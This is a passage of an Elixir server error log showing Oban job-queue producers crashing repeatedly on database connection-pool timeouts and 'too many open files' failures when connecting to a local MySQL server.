  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:47:23.239776Z], limit: 5, uuid: "56cff8e4-beaf-4b36-9475-d419d9151bfc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:23.239781Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.2256>, refresh_timer: #Reference<0.2525715032.1077673987.2235>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:47:23.239555Z], limit: 10, uuid: "32b0989b-1c38-4074-ad4f-6a14c690f9b0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:23.239561Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.31888>, refresh_timer: #Reference<0.2525715032.1077673987.2224>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:47:23.241692Z], limit: 50, uuid: "2c24bb24-2ae4-41f3-8594-8bc30d51e814", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:23.241697Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.31891>, refresh_timer: #Reference<0.2525715032.1121189889.137976>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:35.816000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:41.626000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:41.933000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:43.241000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:44.534000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:45.891000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:47.079000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:47:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:47:35.240078Z], limit: 3, uuid: "300d23af-70cc-4133-b964-3b5569c468cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:35.240083Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.32170>, refresh_timer: #Reference<0.2525715032.1068498948.29539>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:47:35.240183Z], limit: 10, uuid: "76340384-f142-46fd-9dce-6d6274d6e3ff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:35.240188Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.32166>, refresh_timer: #Reference<0.2525715032.1068498948.29543>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:47.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:47:35.240024Z], limit: 5, uuid: "e43766bb-f699-422e-8069-cc00d17e31cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:35.240029Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.32168>, refresh_timer: #Reference<0.2525715032.1068498948.29537>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:47.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:47:35.241384Z], limit: 50, uuid: "930d8e60-0ea6-4c7a-a424-8faa35798217", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:35.241404Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.32169>, refresh_timer: #Reference<0.2525715032.1068498948.29547>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:47:35.238799Z], limit: 20, uuid: "f041475f-14b8-4572-9a95-81bfa7a2ac14", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:47:35.238808Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.32165>, refresh_timer: #Reference<0.2525715032.1068498948.29538>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:47:47.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:47:35.240003Z], limit: 5, uuid: "05dd2b00-e917-4476-a725-83d93f557de7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: 